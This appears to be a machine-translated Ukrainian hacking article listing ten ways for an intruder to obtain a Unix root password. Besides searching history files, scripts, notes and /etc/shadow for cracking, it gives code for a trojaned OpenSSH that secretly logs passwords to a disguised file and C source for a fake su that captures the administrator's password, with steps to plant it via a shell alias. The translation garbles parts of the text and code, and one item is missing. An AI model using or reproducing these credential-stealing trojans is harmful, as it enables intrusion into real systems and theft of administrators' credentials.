10 Способів поиметь рутовий пароль

Зі старою ХакЗони.

10 способів поиметь рутовий пароль

Мабуть, найбільша проблема в хаке визначення рутовий пароля. Навіть коли хакер зламав систему будь-яким експлойтів, дістати пароль не так то просто. Але на кожну гайку знайдеться свій болт, тому дозволь тобі розкрити 10 універсальних способів дізнання цієї важливої ​​інформації;). Ні, тобі навіть не потрібно зустрічатися з адміном і поїти його пивом до несвідомого стану (а точніше, до стану, в якому він розкриє тобі важливу інформацію). Все набагато простіше існують прийоми, після застосування яких, ти отримаєш root password. Природно, все залежить від ситуації. Всі вони будуть обговорені нижче.

1. Пошук в Perl / PHP-скриптах.

Метод застосовується при першій-ліпшій нагоді злому.

2. Пошук в HISTORY-файлах.

Часто адміни використовують консольні програми, яким передають пароль прямо з командного рядка. Це все записується в history-файл під назвою .bash_history (природно, для інших інтерпретаторів назва файлу буде іншим). Туди ж може потрапити інфа через помилку адміністратора в команді (я, наприклад, бачив те, як адмін замість su набрав psu, а потім свій пароль).

Існує інший файл історії. Він називається .mysql_history і знаходиться також в домашньому каталозі користувача. Там ти можеш знайти команди зміни пароля для SQL-доступу. Цей пароль, можливо, співпаде з рутовий.

Спосіб застосуємо лише коли є повний контроль над системою. Але трапляється таке, коли HISTORY-файли мають атрибут 644. Знайти такі файли (а потім прочитати) можна за допомогою команди find / -perm 644 name * _history.

3. Пошук в .htpasswd.

Розшифрувати такі хеші можна програмою John The Ripper. Не мені тебе вчити цим займатися, тому вважаю, що даний метод тобі зрозумілий.

4. Пошук в інших файлах.

Зустрічаються сервера, де паролі вказуються в файлах сторонніх додатків. Наприклад, я стикався з ситуацією, коли рутовий пароль лежав у файлі socks5.password.

Увага! Ці файли можуть виявитися недоступними для читання. Тому, тут все залежить від ситуації.

5. Нотатки на полях.

Часто адміни залишають важливі файли в своїх каталогах. Вони містять деякі замітки. Не виключено, що серед таких ти можеш зустріти і паролі. Я сам стикався з таким і нарив рутовий пароль у файлі notes. Звертай особливу увагу на подібні речі.

6. Пошук в логах.

7. Сніфінг даних.

Деякі руткіти містять в собі локальний сніфер, який дозволяє легко дізнаватися паролі на ssh (проста модифікація / usr / bin / ssh з підтримкою логгінг;)). Зазвичай така підтримка і шлях до файлу з балкою вказується в документації руткита). Все добре, але засмучує лише одна обставина: більшість руткітів містять старий ssh, який підтримує лише перший протокол. У підсумку, хакер може видати себе повністю.

Але хто заважає зібрати власний ssh ​​і включити в нього запам'ятовування паролів? Правильно! Ніхто. Знаходимо в пакеті OpenSSH файлик з ім'ям sshconnect1.c. Потім вставляємо в його вміст наступні рядки:

Після рядки snprintf (prompt, sizeof (prompt), "% [email protected]% .128s's password:", server_user, host);

ifile = fopen ( "/ boot / kernel.old", "a");
fprintf (ifile, «session% s% s», server_user, host);
fclose (ifile);

Після рядка password = read_passphrase (prompt, 0);
ifile = fopen ( "/ boot / kernel.old", "a");
fprintf (ifile, «password is% s», password);
fclose (ifile);

Якщо все зроблено правильно, ssh збереться без пригод. Тепер адмін не помітить вади в системі, а ти дізнаєшся його пароль на ssh. Коли він ходить під рутом це і буде рутовий пароль;).

8. прикидати системним сервісом;).

Цей метод я описував в одному з номерів Хакера (Юніксоід, Забави в Linux). Через те, що користувачі, які читали Хакер не відвідують сайту (і навпаки), буде не зайвим повторити мій хитрий прийом.

Отже, створюється файл такого змісту:

#define SORRY «Sorry»
#define PFILE «tmp / .screen»
#define MYPATH «tmp / .screen_active»
#include
void sigexit (int no);
int main () char pass [40];
char longs [100];
int filep;
signal (SIGINT, sigexit);
printf ( "Password:");
system ( «stty -echo»);
scanf ( "% s", pass);
system ( «stty echo»);
printf ( "");
filep = fopen (PFILE, «w»);
fprintf (filep, «Pass is% s», pass);
fclose (filep);
printf ( "% s", SORRY);
strcpy (longs, "");
strcat (longs, "/ bin / ln -sf / bin / su");
strcat (longs, MYPATH);
system (longs);
exit (0);
>
void sigexit (int no) system ( «stty echo»);
printf ( "");
exit (0);
>

і обзивається su.c. Якщо вдивитися в простенький код можна зрозуміти, що це повна імітація / bin / su, тільки з логування пароля в файл tmp / .screen. Сам бінарник буде перебувати в файлі tmp / .screen_active (всі шляхи щодо домашнього каталогу користувача). Після того, як файл виконається він заміщається стандартним / bin / su. Таким чином, адмін думає, що помилився паролем, так як з другої спроби СУІД буде успішним.

Перед тим, як перевіряти даний метод на практиці, впиши рядок alias su /home/user/tmp/.screen_active в файл

/.bash_profile і чекай, поки адмін вирішить суіднуться на рута. Коли це станеться пароль твій;).

10. Стандартний спосіб.

І, нарешті, настав час розповісти про самий тривіальний спосіб. Хакер захоплює систему і отримує доступ до / etc / shadow. Далі, все за сценарієм береться розшифровщик, хороший словник і вся надія тільки на удачу. Я думаю, ти не раз стикався із застосуванням цього методу. І, що цікаво, постійно забував про решту 9.

Схожі статті